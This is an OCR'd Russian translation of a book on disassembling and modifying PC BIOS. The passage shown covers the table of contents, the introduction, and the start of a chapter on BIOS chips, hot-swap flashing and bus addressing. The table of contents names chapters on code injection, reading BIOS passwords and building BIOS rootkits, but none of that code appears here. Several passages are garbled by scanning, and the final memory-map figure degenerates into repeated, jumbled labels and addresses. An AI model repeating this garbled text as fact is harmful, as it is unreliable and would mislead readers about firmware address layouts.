Книга
Книга
ЧАСТЬ I. ОСНОВНЫЕ КОНЦЕПЦИИ ТЕХНОЛОГИИ BIOS7
Глава 1. Технология PC BIOS9
Введение9
BIOS материнской платы9
BIOS плат расширения15
Микропрограммное обеспечение BIOS прочих компонентов PC16
Основные принципы работы шинных протоколов17
Общесистемная схема адресации17
Протокол шины PCI20
Фирменные шины для соединения между чипсетами29
Протокол шины PCI Express30
Протокол шины HyperTransport32
Глава 2. Введение в дизассемблирование34
Введение34
Сканирование двоичного файла35
Знакомство с дизассемблером IDA Pro36
Создание сценариев и назначение горячих клавиш43
Модули ГОА Pro (Необязательный материал)54
Глава 3. Подготовка к разработке прикладного программного обеспечения BIOS76
Введение76
Разработка приложений BIOS на "чистом" ассемблере76
Разработка приложений BIOS с помощью GCC82
ЧАСТЬ II. ОБРАТНАЯ РАЗРАБОТКА BIOS МАТЕРИНСКОЙ ПЛАТЫ93
Глава 4. Знакомимся с системой95
Введение95
Особенности аппаратного обеспечения95
Отображение системных адресов и адресация чипа BIOS95
Малоизвестные аппаратные порты114
Перемещаемые аппаратные порты118
Обработка BIOS плат расширения119
Структура двоичного кода BIOS120
Особенности программного обеспечения121
Инструкция call121
Инструкция retn122
Использование кэша как RAM128
Дизассемблирование BIOS с помощью ЮА Pro132
Глава 5. Реализация BIOS материнской платы133
Введение133
Award BIOS133
Структура файла Award BIOS133
Дизассемблирование блока начальной загрузки Award BIOS139
Дизассемблирование системной BIOS Award185
AMI BIOS206
Структура файла AMI BIOS206
Инструменты для дизассемблирования AMI BIOS207
Дизассемблирование области начальной загрузки AMI BIOS208
Дизассемблирование системной AMI BIOS257
Глава 6. Модифицирование BIOS262
Введение262
Необходимые инструменты262
Вставка кода269
Определение местонахождения таблицы переходов POST271
Отыскание фиктивной процедуры в таблице переходов POST272
Ассемблирование внедряемого кода273
Извлечение оригинальной системной BIOS276
Отыскание байтов-заполнителей277
Вставка кода277
Модифицирование таблицы переходов POST278
Перекомпоновка двоичного файла BIOS280
Прошивка модифицированной BIOS280
Другие модификации281
ЧАСТЬ III. BIOS ПЛАТ РАСШИРЕНИЯ PCI287
Глава 7. Разработка BIOS плат расширения PCI289
Введение289
Архитектура Plug-and-Play BIOS и BIOS плат расширения289
Архитектура Plug-and-Play BIOS290
Использование Plug-and-Play BIOS для разработки BIOS платы расширения301
Процедура POST и инициализация BIOS плат расширения PCI302
Регистр XROMBAR BIOS платы расширения PCI303
BIOS плат расширения PCI304
Структура Plug-and-Play BIOS платы расширения PCI312
Особенности BIOS плат расширения PCI313
Пример реализации314
Аппаратные средства испытательной платформы315
Инструменты разработки315
Исходный код BIOS расширения316
Создание образца BIOS расширения337
Тестирование примера340
Возможные проблемы и их устранение340
Глава 8. Дизассемблирование BIOS расширения PCI342
Введение342
Архитектура двоичного файла342
Дизассемблирование основного кода344
Дизассемблирование BIOS расширения платы Realtek 8139344
Дизассемблирование BIOS расширения Gigabyte GV-NX76T256D-RH GeForce 7600 GT353
Замечание о возможности вставки кода в BIOS расширения356
Часть IV. ВНЕСЕНИЕ ИЗМЕНЕНИЙ В КОД BIOS357
Глава 9. Обращение к BIOS из операционной системы359
Введение359
Общий способ доступа359
Доступ к содержимому BIOS материнской платы из Linux361
Знакомство с утилитой flash_n_burn363
Внутреннее устройство утилиты flash_n_burn369
Доступ к содержимому BIOS материнской платы из Windows375
Драйвер устройства режима ядра утилиты biosprobe378
Приложение пользовательского режима утилиты bios_probe416
Обращение к содержимому чипа ROM BIOS плат расширения PCI456
Обращение к содержимому чипа ROM BIOS плат расширения PCI в Windows 460
Обращение к чипу RTL8139 460
Обращение к чипу Atmel АТ29С512465
Исходный код программного обеспечения для обращения к чипу флэш-ROM465
Проверяем утилиту491
Глава 10. Низкоуровневое управление удаленным сервером495
Введение495
Интерфейсы DMI и SMBIOS 495
Реализация кода для удаленного управления сервером512
Глава 11. Меры безопасности BIOS528
Введение528
Защита с помощью паролей528
Нарушение контрольной суммы CMOS530
Считывание пароля BIOS из области BDA536
Недостатки методов программной атаки на пароли BIOS с точки зрения злоумышленника545
Проверка целостности компонентов BIOS545
Проверка целостности компонентов Award BIOS546
Проверка целостности компонентов AMI BIOS550
Меры безопасности по удаленному управлению сервером552
Аппаратные меры безопасности553
Глава 12. Разработка руткитов BIOS565
История взломов BIOS565
Захват системной BIOS622
Захват обработчиков прерываний Award BIOS 4.5IPG627
Захват обработчиков прерываний Award BIOS 6.00PG652
Работа с BIOS других поставщиков661
Подход к разработке руткита для BIOS платы расширения PCI662
Наложение заплатки обхода на BIOS расширения PCI664
BIOS плат расширения PCI с несколькими образами671
Особенности BIOS расширения PCI сетевых плат673
Глава 13. Методы защиты BIOS674
Введение674
Методы предотвращения атак на BIOS674
Аппаратные меры безопасности674
Защита с помощью виртуальной машины680
Безопасность WBEM и руткит BIOS680
Защита от руткита BIOS плат расширения PCI683
Прочие методы защиты BIOS684
Распознавание систем с нарушенной безопасностью695
Распознавание BIOS материнской платы с нарушенной безопасностью696
Распознавание инфицированной BIOS платы расширения PCI698
Восстановление нарушенной безопасности699
ЧАСТЬ V. НОВЫЕ ПРИМЕНЕНИЯ ТЕХНОЛОГИЙ BIOS705
Глава 14. Технология BIOS встроенных систем х86705
Введение705
Архитектура BIOS встроенных систем х86705
Примеры реализации BIOS встроенных систем х86 709
Компьютерная приставка к телевизору709
Сетевое устройство724
Киоск729
Взлом BIOS встроенных систем х86 731
Глава 15. Дальнейшие перспективы734
Введение734
Будущее технологии BIOS734
Унифицированный интерфейс расширяемого микропрограммного обеспечения735
Обзорная информация о поставщиках BIOS741
Универсальная компьютеризация и разработки BIOS747
Будущие угрозы безопасности BIOS748
Список литературы751
Описание компакт-диска753
Предметный указатель755
Введение
В течение многих лет среди компьютерных энтузиастов и профессионалов был распространен миф о том, что внесение модификаций в PC BIOS является задачей, справиться с которое под силу лишь ограниченному числу гуру или вообще только производителям материнских плат. В данной книге я постараюсь развенчать этот миф и показать, что, имея в своем распоряжении необходимые инструменты и применяя правильный подход, любой программист может разобраться в BIOS и модифицировать ее в соответствии со своими требованиями. При этом наличие исходного кода BIOS не является обязательным условием успеха. Решается данная задача путем систематического подхода к дизассемблированию и модификации BIOS. В частности, применяется передовой способ модификации BIOS путем внедрения специализированного кода в двоичный файл BIOS.
Существует множество причин, по которым у вас может возникнуть потребность в дизассемблировании и модификации BIOS. С одной стороны, этим можно заниматься просто ради получения удовольствия от познания общих принципов функционирования BIOS. С другой стороны, эта работа позволит вам решать конкретные практические задачи, включая повышение частоты тактового генератора для разгона процессора, исправление ошибок реализации BIOS, внедрение специализированного кода для защиты BIOS от потенциальных угроз ее безопасности. Наконец, вы можете заняться разработкой коммерческих продуктов для рынка BIOS встроенных систем х86. Появление бытовых электронных устройств на основе встроенных платформ х86, например, телевизионных приставок, коммуникационных устройств, а также киосков1, вызвало повышение интереса к дизассемблированию и модификации BIOS. В ближайшие годы технологии дизассемблирования и модификации BIOS
В данном контексте термин киоск означает компьютеризованное устройство для регистрации продаж при их осуществлении или непосредственного предоставления Других услуг. Для краткости, в дальнейшем будем называть такие устройства устройствами POS (point-of-sale или point-of-service).
станут еще более актуальными, так как новейшие шинные протоколы делегируют большую часть задач по их инициализации микропрограммному обеспечению, т. е. BIOS. Таким образом, понимание этих технологий и методов работы с ними позволит вам исследовать соответствующие микропрограммные коды и понять реализацию этих протоколов в двоичном файле BIOS.
Главной задачей BIOS является инициализация системы для работы в среде исполнения, необходимой для конкретной операционной системы. С каждым годом эта задача все усложняется, так как аппаратные средства платформы х86 развиваются стремительными темпами, что делает ее одной из наиболее динамично развивающихся вычислительных платформ в мире. Новые чипсеты вводятся на рынок каждые три, самое большее шесть месяцев. Каждый новый чипсет порождает новую кодовую базу процедуры BIOS для поддержки аппаратной части. Тем не менее, общая архитектура BIOS меняется медленно, и основные принципы кода BIOS долго оставались неизменными от поколения к поколению BIOS. Но за последние несколько лет в области BIOS наблюдались довольно значительные перемены, вызванные введением интерфейса EFI (extensible firmware interface — интерфейс расширяемого микропрограммного обеспечения) от компании Intel. В последнее время интерфейс EFI эволюционировал в интерфейс UEFI (universal extensible firmware interface — унифицированный интерфейс расширяемого микропрограммного обеспечения), который поддерживается форумом UEFI (http://www.uefl.org/home). Вследствие появления всех этих нововведений, приобретение систематических знаний о содержимом BIOS становится все более актуальным.
В данной книге термин BIOS применяется в более широком смысле, нежели BIOS материнской платы, с которой большинство читателей должны быть знакомы. Здесь этот термин обозначает и BIOS плат расширения, будь то платы ISA, PCI или PCI Express. В англоязычной литературе, эти BIOS официально называются ROM расширения (expansion ROM). Во избежание возможных недоразумений, в данной книге употребляется термин BIOS плат расширения.
Каких же результатов позволит вам добиться прочтение данной книги? Понимание устройства и принципов работы BIOS откроет перед вами новые перспективы. Вы сможете получить уточненное представление о работе аппаратных средств ПК на самом низком уровне. Понимание современной технологии BIOS поднимет занавес над секретами реализации новейших технологий шинных протоколов, т. е. протоколов HyperTransport и PCI Express. В области разработки программного обеспечения вы сможете оценить применение технологии сжатия в BIOS. Что еще более важно, вы сможете дизас-
семблировать BIOS и другое микропрограммное обеспечение, применяя для этого современные средства и методы. В частности, вы научитесь эффективно работать с мощным дизассемблером IDA Pro. Обладая глубокими познаниями в области аппаратных средств и программного обеспечения, вы даже сможете заимствовать некоторые алгоритмы, реализованные в BIOS, и использовать их в ваших личных разработках. Иными словами, вы станете настоящим кодокопателем BIOS.
Кроме того, книга предлагает общий подход к разработке BIOS плат расширения PCI с помощью широко доступных средств разработки GNU. Для каждого, прочитавшего и освоившего материал этой книги, BIOS перестанет быть чем-то загадочным.
Для кого предназначена эта книга
Уважаемый читатель! Если вы ищете просто "путеводитель по настройкам BIOS" или популярное руководство по работе с программой BIOS Setup, то данная книга — это не совсем то, что вам требуется. В отличие от популярных справочников и руководств, просто перечисляющих доступные опции BIOS и поясняющих, какие параметры следует задать для получения желаемого результата, эта книга дает более широкий взгляд на технологии BIOS и углубленные знания в этой области. Иными словами, она отвечает не на вопрос "что?", а на вопросы "как?" и "почему?". Новичков, не обладающих базовыми знаниями в области архитектуры ПК и системного программирования и не ставящих целью приобретение таких знаний, она разочарует и даже отпугнет.
Для кого же тогда предназначена данная книга? Она адресована системным программистам, специалистам по компьютерной безопасности, а также студентам, углубленно изучающим информационные технологии. Кроме того, книга будет полезна инженерам-электронщикам, специалистам по обслуживанию и ремонту ПК, а также просто любознательным компьютерным энтузиастам. Новичкам ее можно рекомендовать только в том случае, если они не боятся трудностей и готовы самостоятельно добывать новые знания по ходу чтения.
Для полного понимания представленного материала необходимо иметь базовые знания и некоторые предварительные навыки. Наиболее важным в этом отношении является владение языком ассемблера систем х86. Без этих знаний вы не сможете понимать дизассемблированные листинги двоичных файлов BIOS и образцы заплаток для BIOS, представленные практически во всех главах данной книги. Все они написаны на языке ассемблера систем х86,
и в книге их очень много. Кроме того, предполагается, что читатель имеет навыки программирования на языке С. Этот язык широко используется в примерах, иллюстрирующих разработку программного обеспечения BIOS материнской платы и BIOS плат расширения РС1. Наконец, С интенсивно применяется при разработке сценариев и подключаемых модулей IDA Pro. Язык сценариев IDA Pro во многом похож на язык программирования С. Стоит отметить, что хотя знание интерфейса прикладного программирования Windows (Win32 API) и не является обязательным, но было бы весьма желательным и полезным. В частности, наличие хотя бы базовых знаний в этой области потребуется для понимания материалов главы 3, посвященной использованию дизассемблера IDA Pro и разработке подключаемых модулей ГОА Pro.
Организация книги
В части 1 книги обсуждаются фундаментальные концепции технологий BIOS и приводятся основные сведения, необходимые для дизассемблирования BIOS и разработки BIOS плат расширения PCI. В число обсуждаемых тем входят:■
Различные шинные протоколы, применяемые в современных платформах х86, т. е. шины PCI, HyperTrasnport и PCI Express. Основное внимание уделяется взаимосвязи между исполнением кода BIOS и реализацией протоколов.
Средства и методы дизассемблирования, необходимые для решения задач, которые будут сформулированы в последующих главах. В основном это — вводная информация о дизассемблере IDA Pro и передовые способы работы с этим инструментом.
Краткий курс современных методов работы с компилятором С. Эти навыки необходимы для разработки микропрограммного обеспечения. При этом основное внимание уделяется применению компилятора GNU С.
В части II книги приводится подробная информация о дизассемблировании BIOS материнской платы и внесении модификаций в ее код. Углубленно рассматривается структура файла BIOS и алгоритмы, применяемые в BIOS. Приводятся инструкции по применению различных инструментальных средств для работы с BIOS, а также даются объяснения способов модификации BIOS.
В части III книги освещается разработка BIOS плат расширения PCI. В частности, дается подробное объяснение структуры BIOS плат расширения PCI. Далее обсуждается разработка BIOS плат расширения PCI с помощью средств GNU.
В части IV книги рассматриваются проблемы безопасности BIOS. Основное внимание уделяется возможностям реализации руткитов BIOS, а также возможности использования уязвимостей BIOS для ее взлома. Информация, изложенная в этой части, будет особенно полезна специалистам по компьютерной безопасности.
Наконец, в части V книги рассматривается использование технологии BIOS вне ее традиционной области применения, т. е. не в настольных и серверных системах. Здесь представлены различные применения технологии BIOS в такой новой и перспективной области, как встроенные системы на базе платформы х86. В конце этой части дается краткое изложение дальнейших перспектив развития технологий BIOS и приводится ознакомительная информация о стандарте UEFI.
Совместимость программных средств разработки
В данной книге в основном освещаются средства дизассемблирования, предназначенные для операционной системы Windows. Но для глав, в которых рассматривается разработка BIOS плат расширения PCI, необходима операционная система Linux для платформ х86. Это связано с тем, что попытки создания плоских двоичных файлов на основе файлов формата ELF средствами разработки GNU, перенесенными на платформу Windows, сопряжены с определенными проблемами.
Часть I
ОСНОВНЫЕ КОНЦЕПЦИИТЕХНОЛОГИИ BIOS
Глава 1
Технология PC BIOS
Введение
Эта глава объясняет принципы работы компонентов PC, совокупность которых формирует так называемую базовую систему ввода-вывода (basic input/ output system, BIOS). К этим компонентам относится не только BIOS материнской платы, с которой большинство читателей, вероятно, уже знакомы, но и BIOS плат расширения. BIOS является одним из ключевых компонентов PC, цель которого состоит в предоставлении операционной системе необходимой среды исполнения. Предлагаемый подход к освещению этой темы соответствует логическому порядку, в котором подсистемы BIOS исполняются в процессе загрузки компьютера. Этот подход позволяет наискорейшим путем выработать систематизированное понимание технологии BIOS. По мере обсуждения материала будут даны ответы на многие общие вопросы: зачем нужна BIOS? Почему она реализована именно таким образом? Начнем изучение материала с важнейшего компонента PC BIOS — BIOS материнской платы. Кроме того, в этой главе будет затронута и такая важная тема, как технологии современных шинных протоколов, включая PCI (peripheral component interconnect — шина для подключения периферийных компонентов к материнской плате), PCI Express и HyperTransport. Глубокие знания технологии шинных протоколов необходимы для понимания кода наиболее современных реализаций BIOS.
BIOS материнской платы
Наиболее известной среди всех видов BIOS является BIOS материнской пла- ^ы. Этим термином обозначается машинный код, который хранится в специальном чипе ROM (read-only memory — постоянная память) на материнской
плате. В настоящее время в большинстве случаев употребляются чипы семейства флэш-ROM (flash ROM). Флэш-ROM — это электрически программируемая микросхема ROM, причем вся процедура ее перепрограммирования занимает около двух секунд.
Чип ROM BIOS часто ошибочно называют чипом CMOS (complementary metal- oxide semiconductor). Следует четко понимать, что в чипе ROM BIOS хранится код BIOS, т. е. машинный код, исполняемый процессором при обращении к BIOS. В микросхеме CMOS хранятся параметры BIOS, т. е. данные, указанные пользователем при работе с программой BIOS Setup. К числу параметров BIOS относятся, например, системная дата (system date) или параметры тактирования RAM" (RAM timing). В действительности, название "чип CMOS" не совсем точно отражает назначение этой микросхемы. Хотя чип действительно изготовлен по технологии CMOS, по этой же технологии изготовлены и многие другие чипы, например чипы RAM. Данный же чип используется для хранения параметров BIOS при выключенном основном питании за счет использования выделенного аккумулятора (CMOS battery). По этой причине более правильно &ыло бы называть этот чип энергонезависимой RAM (nonvolatile RAM, NVRAM). Такое название более точно отражает сущность и назначение данного чипа. Тем не менее, термин чип CMOS широко употребляется пользователями PC и производителями оборудования.
Чипы ROM BIOS выполняются в корпусах DIP (рис. 1.1) или PLCC (рис. 1.2). На современных материнских платах главным образом устанавливаются чипы в корпусе PLCC. Часто маркировку на верхней части чипа BIOS можно увидеть, лишь удалив наклейку поставщика (например, Award BIOS или AMI BIOS). Наиболее широко употребляемый формат маркировки показан на рис. 1.3.
Краткое описание маркировочных полей приведено ниже:
vendor_name — поставщик чипа, например Winbond, SST или Atmel.
chip_number — кодовый номер чипа, также называемый инвентарным номером или шифром компонента. Иногда в этом поле, кроме кодового номера изделия, указывается и время доступа (access time), характерное для данной микросхемы.
batch_number — номер партии чипа. Используется для маркировки партии изделий, в составе которой данный чип был выпущен заводом- изготовителем. На некоторых чипах номер партии может отсутствовать.
Рис. 1.1. Материнская плата с микросхемой BIOS в корпусе типа DIP°
Рис. 1.2. Материнская плата с микросхемой BIOS типа PLCC4
Корпус типа DIP (dual in-line package) — плоский корпус с двухрядным расположением выводов.
Корпус типа PLCC (Plastic LCC, plastic lead chip carrier) — дословно "пластмассовый кРисталлоноситель с выводами". Представляет собой квадратный корпус с контактами, расположенными по всем его сторонам.
2
а2
Ы
Ь2
3
vendor_namechip_numberbatch_number
4
аЗ
ЬЗ
а4
5
6
7
м-5-
Рис. 1.4. Пример маркировки микросхемы BIOS
Рис. 1.3. Формат маркировкимикросхем BIOS
Пример маркировки чипа показан на рис. 1.4.
Префикс АТ в кодовом номере указывает, что чип изготовлен компанией Atmel. Последовательность 29С020С — это кодовый номер изделия, а последовательность 90РС указывает время доступа (90 нс.). Подробную информацию о конкретном чипе можно найти в спецификации, которая обычно доступна для загрузки с веб-сайта фирмы-производителя. Для поиска нужной спецификации достаточно указать кодовый номер чипа.
Для эффективной работы с BIOS необходимо хорошо разбираться в маркировке чипов BIOS. Особенно важно уметь находить обозначения кодового номера изделия и времени доступа. Информация о времени доступа всегда указывается в спецификации на конкретный чип. Эта информация необходима, если требуется прошить BIOS в совместимый чип другого производителя. Время доступа и напряжение питания нового чипа должны в точности совпадать со временем доступа и напряжением питания оригинального чипа. В противном случае прошивка завершится неудачей. Прошивка BIOS в новый чип может осуществляться путем "горячей замены" (hot-swapping) или при помощи специальных приспособлений, например, BIOS Saviour. "Горячая замена", то есть извлечение микросхемы с работающей платы, является потенциально опасной процедурой, прибегать к которой не рекомендуется. Малейшая небрежность при "горячей замене" может полностью вывести из строя не только материнскую плату, но и одно или даже несколько подключенных к ней устройств. Но те, у кого душа жаждет приключений, могут оп-
робовать этот метод на старой материнской плате. Процедура для прошивки BIOS с "горячей заменой" чипов состоит из следующих шагов:
Подготовьте чип BIOS того же типа, что и чип BIOS, установленный на материнской плате на данный момент. На этот чип будут записаны текущие настройки BIOS. Обратите особое внимание на то, чтобы его кодовый номер изделия (chip_number) в точности совпадал с кодовым номером установленного чипа. Чтобы определить кодовый номер установленного чипа, необходимо удалить с него наклейку (обычно с логотипом Award BIOS или AMI BIOS), закрывающую маркировку. Имейте в виду, что эта операция приводит к потере гарантии на материнскую плату, так что действуйте на свой страх и риск. Если не удастся найти идентичный чип, можно воспользоваться совместимым чипом, т. е. чипом такой же емкости и с таким же напряжением питания и временными параметрами. Определить, какой чип может быть совместимым, не составляет особого труда. Производители флэш-ROM часто предоставляют на своих веб-сайтах информацию по взаимозаменяемости их чипов с чипами других производителей. Кроме того, определить взаимозаменяемый чип можно, сравнив технические характеристики чипов других производителей с характеристиками установленного чипа. Если емкость, напряжение питания и время доступа обоих чипов одинаковы, то они совместимы. Например, чип ATMEL АТ29С020С совместим с чипом WINBOND W29C020C.
Скопируйте программу для прошивки на дискету или на раздел жесткого диска, отформатированный для использования файловой системы FAT. Эта программа сохраняет двоичный код BIOS ("бинарник") с текущего чипа BIOS, а затем записывает его в новый чип. Если программы для прошивки BIOS нет на компакт-диске с драйверами, обычно поставляемом в комплекте с материнской платой, то ее можно скачать с веб-сайта производителя материнской платы.
Завершите работу операционной системы и физически отключите компьютер от питающей сети. Таким образом, система должна быть полностью обесточена. Ослабьте посадку чипа BIOS на материнской плате. Для этого сначала извлеките его из гнезда при помощи отвертки или экстрактора микросхем, а затем вновь установите его в разъем, обеспечивая надежный контакт ножек с разъемом, но не до упора. Убедитесь в том, что чип вставлен в гнездо не слишком плотно и может быть извлечен без больших усилий. При этом следует убедиться и в наличии надежного электрического контакта между микросхемой и разъемом материнской платы, так как в противном случае компьютер не загрузится.
Загрузите компьютер в реальном режиме (под управлением операционной системы DOS). Имейте в виду, что для некоторых материнских плат программа BIOS Setup может содержать опцию защиты BIOS от перезаписи (BIOS flash protection). Как правило, если эта опция присутствует, то по умолчанию она активирована. В таких случаях перед тем, как выполнять следующий шаг, следует войти в программу BIOS Setup и отключить данную опцию.
Запустите утилиту для прошивки BIOS и, следуя инструкциям, выводимым ею на экран, сохраните оригинальный двоичный код BIOS на дискету или на раздел жесткого диска, отформатированный для использования файловой системы FAT.
Не выключая компьютера, осторожно извлеките оригинальный чип BIOS из разъема на материнской плате. Обратите внимание, что при выполнении этой операции компьютер продолжает работать под управлением DOS в реальном режиме.
Осторожно установите новый чип BIOS. Убедитесь в том, что ножки только что вставленного чипа надежно контактируют с гнездом.
С помощью утилиты для прошивки скопируйте предварительно сохраненный двоичный код BIOS с дискеты или жесткого диска в новый чип BIOS.
Перезагрузите компьютер. Если операционная система загружается без проблем, то прошивка нового чипа прошла успешно.
При соблюдении должных мер предосторожности и наличии необходимых навыков работы с железом, прошивка с "горячей" заменой чипов не так уж и опасна, как может казаться на первый взгляд. Тем не менее, использование специальных устройств, таких как BIOS Saviour, позволяет гарантировать успешный исход операции.-
В любом случае, возникает вопрос: зачем нужна BIOS на материнской плате? На этот, казалось бы, простой вопрос можно дать несколько ответов. Прежде всего, системные шины, такие как PCI, PCI-X, PCI Express и HyperTransport используют адресное пространство памяти и адресное пространство вво- да/вывода. При запуске системы, устройствам, использующим эти шины, необходимо назначить определенные диапазоны адресов памяти и вво- да/вывода. Обычно эти устройства используют адреса, находящиеся выше диапазона адресов, используемого системной памятью. В каждом индивидуальном случае, схема адресации зависит от чипсета конкретной материнской платы. Поэтому, чтобы получить подробную информацию о конкретном механизме адресации, необходимо обратиться к спецификациям, содержащим технические характеристики данного чипсета и соответствующего ему протокола шины.
Во-вторых, сразу же после запуска системы, некоторые компоненты PC, в том числе, оперативная память и центральный процессор (CPU), работают на неопределенной тактовой частоте5 и должны быть инициализированы предопределенным значением тактовой частоты. Именно эту задачу и решает BIOS, позволяя установить значения тактовой частоты этих компонентов.
От шинного протокола зависит, каким образом исполняется двоичный код, хранимый в чипах BIOS, будь то BIOS материнской платы или BIOS иного компонента системы. Основные принципы работы шинных протоколов, понимание которых позволит детально разобраться в этом вопросе, будут рассмотрены в разд. 1.4.
BIOS плат расширения
BIOS6 платы расширения, также известная как дополнительная BIOS (expansion ROM) — это разновидность BIOS, которая хранится в чипе ROM, установленном на карте расширения. Назначение этой BIOS — инициализация карты расширения, на которой она установлена, до загрузки операционной системы. BIOS плат расширения ISA (на сегодняшний день устаревших и использующихся только в специализированных устройствах) называется дополнительной BIOS ISA. BIOS карт расширения PCI (рис. 1.5) называется дополнительной BIOS PCI. В большинстве случаев, дополнительные BIOS PCI и ISA хранятся в стираемом или электрически стираемом программируемом чипе ROM или же в чипе флэш-ROM, установленном на карте расширения PCI или ISA. Но в некоторых случаях такая BIOS реализуется как компонент BIOS материнской платы. Более конкретно, такая ситуация встречается, когда устройство PCI (например, контроллер RAID, АТА или SCSI) реализовано как чип, встроенный в материнскую плату. Дополнительная BIOS, выполненная как часть BIOS материнской платы, ничем не отличается от BIOS такого же устройства, реализованного на плате расширения. В большинстве случаев двоичный код для встроенных в материнскую плату устройств, которые инициализируются по своей собственной процедуре, поставляется производителем чипа. Процесс создания такого двоичного кода обсуждается в части III.
Вообще говоря, процесс исполнения кода BIOS плат расширения PCI несколько сложнее по сравнению с аналогичной процедурой для плат ISA.
° данном контексте, под "неопределенной" тактовой частотой подразумевается тактовая частота, устанавливаемая по умолчанию при включении питания системы.
BIOS платы расширения и дополнительная BIOS являются взаимозаменяемыми терминами.
Код BIOS плат ISA исполняется "по месту", в то время как код BIOS плат PCI предварительно копируется в оперативную память и затем исполняется оттуда. Данный вопрос подробно рассматривается в главе 7, посвященной изучению кода BIOS плат расширения PCI.
Рис. 1.5. Чип ROM дополнительной BIOS PCI
Микропрограммное обеспечение BIOS прочих компонентов PC
Следует отметить, что не только материнская плата и платы расширения, но и другие устройства могут иметь собственную BIOS. Например, жесткие диски и привод CD-ROM также оснащены микросхемами BIOS. Прошитое в них микропрограммное обеспечение (firmware) управляет физическими устройствами и отвечает за их взаимодействие с остальными компонентами
системы. Однако эти разновидности BIOS в данной книге не рассматриваются. Они упомянуты лишь с одной целью — осведомить читателя об их существовании.
Основные принципы работы шинных протоколов
В этом разделе освещены протоколы шин материнской платы PC, а именно протоколы шин PCI, PCI Express и HyperTransport. Протоколы этих шин тесно связаны с BIOS. В сущности, все они частично реализованы при помощи BIOS. BIOS инициализирует схему адресации, применяемую во всех этих шинах, а также осуществляет другие виды инициализации, специфичные для конкретных протоколов. В данном разделе не ставится задача дать объяснение шинных протоколов как таковых. Его цель заключается в разъяснении различных аспектов реализации BIOS, в особенности, моделей программирования, применяемых при реализации того или иного шинного протокола.
Одним из таких аспектов является общесистемная схема адресации, применяемая в современных компьютерных системах и реализованная при помощи чипсета. Таким образом, мы сможем рассматривать эти вопросы на примерах конкретной реализации.
Общесистемная схема адресации
Возможно, что читателям, не имеющим опыта системного программирования, будет трудно понять организацию общего адресного пространства физической памяти в архитектуре х86. Следует отметить, что не только ROM, но и другие физические устройства отображаются в адресное пространство памяти процессора. К физическим устройствам, отображаемым в память, относятся устройства PCI, PCI Express и HyperTransport, усовершенствованный программируемый контроллер прерываний (advanced programmable interrupt controller, APIC), устройство VGA и чип ROM BIOS. Задача распределения адресного пространства памяти процессора между оперативной памятью (RAM) и устройствами, отображенными в память, возлагается на чипсет. Компонентом чипсета, отвечающим за эту организацию системного адресного пространства, является северный мост (northbridge), в частности, его контроллер памяти. Контроллер памяти принимает решение о направлении запроса центрального процессора на чтение или запись по конкретному адресу памяти. В зависимости от конфигурации системы, запрос может быть направлен в оперативную память (RAM) видеопамять, отображенную в оперативную память компьютера, или же к южному мосту (southbridge). В случае северного
моста, встроенного в центральный процессор, как в процессорах AMD архитектуры Athlon 64 или Opteron, решение о том, куда направлять эти запросы, принимает процессор.
Протокол шины, используемый в архитектуре х86, оказывает огромное влияние на системное адресное пространство. Чтобы оценить это влияние, рассмотрим реализацию чипсета на примере чипсета Intel 955Х Express. Этот чипсет используется с процессорами Intel Pentium 4, поддерживающими архитектуру IA-32E и способными адресовать память выше предела в 4 Гбайт.
Адресное пространствосистемной памятиАдресное пространствосистемной памятиУстройство 1 PMUbase/PMUlimitУстройство 1 PMUbase/PMUlimitБаза/предел перераспределения(Remap Base/Limit)База/предел перераспределения(Remap Base/Limit)iУстройство ОBARS(EPBAR,MCHBAR,PCIEXBAR,DMIBAR)iУстройство ОBARS(EPBAR,MCHBAR,PCIEXBAR,DMIBAR)Устройство ООСС(GraphicsStolenMemory)Устройство ООСС(GraphicsStolenMemory)Диапазонадресовпамяти PCIДиапазонадресовДиапазонадресовпамяти PCIДиапазонадресовосновной памяти ТЛ|и—Диапазон'Т0М адресовосновной памяти 4GB Флэш-память(BIOS)APICосновной памяти ТЛ|и—Диапазон'Т0М адресовосновной памяти 4GB Флэш-память(BIOS)APICУстройство 1BARS(MBASE1/MLIMIT1,PMBASE1/PMLIMIT1)Устройство 1BARS(MBASE1/MLIMIT1,PMBASE1/PMLIMIT1)Независимо программируемыенеперекрывающиеся окнаНезависимо программируемыенеперекрывающиеся окнаДиапазон адресовнаследуемой памятиF_FFFFh! Системная BIOSДиапазон адресовнаследуемой памятиF_FFFFh! Системная BIOS_,. (верхнийRemap Limit I диапазон) 54 кв p_ooooh { Системная BIOS'E_FFFFh I (нижний_,. (верхнийRemap Limit I диапазон) 54 кв p_ooooh { Системная BIOS'E_FFFFh I (нижнийдиапазон)64 КВ (16 КВ х 4),E_0000hдиапазон)64 КВ (16 КВ х 4),E_0000hДиапазонадресовпамяти PCI(Субтрактивнодекодируемыйв DMI)Диапазонадресовпамяти PCI(Субтрактивнодекодируемыйв DMI)— TOLUDДиапазон адресов основной памяти п1 МВ -Диапазон адресов наследуемой памяти q— TOLUDДиапазон адресов основной памяти п1 МВ -Диапазон адресов наследуемой памяти qОбластьрасширения128 КВ(16 КВ х 8)Областьнаследуемойвидеопамяти(SMM Memory)128 КВОбластьрасширения128 КВ(16 КВ х 8)Областьнаследуемойвидеопамяти(SMM Memory)128 КВОбласть DOSОбласть DOSD FFFFhD FFFFhIС OOOOh iB_FFFFhIС OOOOh iB_FFFFhA_0000h9_FFFFhA_0000h9_FFFFhОО
Адресное пространствосистемной памяти
Адресное пространствосистемной памяти
Устройство 1 PMUbase/PMUlimit
Устройство 1 PMUbase/PMUlimit
База/предел перераспределения(Remap Base/Limit)
База/предел перераспределения(Remap Base/Limit)
i
Устройство ОBARS(EPBAR,MCHBAR,PCIEXBAR,DMIBAR)
i
Устройство ОBARS(EPBAR,MCHBAR,PCIEXBAR,DMIBAR)
Устройство ООСС(GraphicsStolenMemory)
Устройство ООСС(GraphicsStolenMemory)
Диапазонадресовпамяти PCIДиапазонадресов
Диапазонадресовпамяти PCIДиапазонадресов
основной памяти ТЛ|и
—Диапазон'Т0М адресов
основной памяти 4GB Флэш-память
(BIOS)APIC
основной памяти ТЛ|и
—Диапазон'Т0М адресов
основной памяти 4GB Флэш-память
(BIOS)APIC
Устройство 1BARS(MBASE1/MLIMIT1,PMBASE1/PMLIMIT1)
Устройство 1BARS(MBASE1/MLIMIT1,PMBASE1/PMLIMIT1)
Независимо программируемыенеперекрывающиеся окна
Независимо программируемыенеперекрывающиеся окна
Диапазон адресовнаследуемой памяти
F_FFFFh
! Системная BIOS
Диапазон адресовнаследуемой памяти
F_FFFFh
! Системная BIOS
_,. (верхний
